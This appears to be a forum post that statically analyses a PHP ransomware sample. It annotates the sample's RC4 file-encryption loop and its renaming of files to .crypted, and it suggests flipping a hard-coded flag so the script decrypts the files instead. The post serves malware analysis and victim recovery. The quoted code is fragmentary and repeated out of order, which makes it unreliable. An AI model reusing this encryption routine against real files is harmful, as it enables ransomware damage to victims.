=> if $a= "e" (hard coded in the php code, see at the beginning)
=> rename the file with the extension .crypted
} else {=> if $a= "e" (hard coded in the php code, see at the beginning)
=> rename the file with the extension .crypted
rename($p.$s.$o, preg_replace("/[.]crypted$/", "", $p.$s.$o));
=> if $a= "e" (hard coded in the php code, see at the beginning)
} => if $a= "e" (hard coded in the php code, see at the beginning)
=> remove the extension .crypted
=> "Closes" the current folder (it closes the pointer)
));
This php use a RC4 encryption : RC4 - Wikipedia
$b=fread($fp,2048);=> read 2048 Bytes
$z=array();=> create a empty array
- Key-scheduling algorithm (KSA) :
$j=0;
for($i=0;$i<256;$i++){
- Pseudo-random generation algorithm (PRGA) :
Remember the encrypting function Tree, is called recursively !$z=array();=> create a empty array
- Key-scheduling algorithm (KSA) :
for($i=0;$i<256;$i++)$z[$i]=$i;$j=0;
for($i=0;$i<256;$i++){
$j=($j+$z[$i]+ord($k[$i%strlen($k)]))%256;
$x=$z[$i];
$z[$i]=$z[$j];
$z[$j]=$x;
=> a swap between $z[$i] and $z[$j] values
}$x=$z[$i];
$z[$i]=$z[$j];
$z[$j]=$x;
=> a swap between $z[$i] and $z[$j] values
- Pseudo-random generation algorithm (PRGA) :
$i=0;
$j=0;
$c="";
for($y=0;$y<strlen($b);$y++){
$j=0;
$c="";
for($y=0;$y<strlen($b);$y++){
$i=($i+1)%256;
$j=($j+$z[$i])%256;
$x=$z[$i];
$z[$i]=$z[$j];
$z[$j]=$x;
=> another swap between $z[$i] and $z[$j] values
$c.=$b[$y]^chr($z[($z[$i]+$z[$j])%256]);
=> $b[$y] : byte from the 2048 bytes from the content file : to encrypt !
}$j=($j+$z[$i])%256;
$x=$z[$i];
$z[$i]=$z[$j];
$z[$j]=$x;
=> another swap between $z[$i] and $z[$j] values
$c.=$b[$y]^chr($z[($z[$i]+$z[$j])%256]);
=> $b[$y] : byte from the 2048 bytes from the content file : to encrypt !
I have not made any dynamic tests for this sample.
And will not make, it is a static analysis
But only looking at the encrypt part, I think if we change the $a= "e" by $a= "d", the same a.php file can decrypt the files (99,99 % sure)
=> a.exe with a.php as parameter, once we have change $a= "e" by $a= "d"
=> ^ : XOR => not destructive
I mean : 45 XOR 25 = 52
but 52 XOR 25 = 45
I mean : 45 XOR 25 = 52
but 52 XOR 25 = 45
=> reversible
Last edited: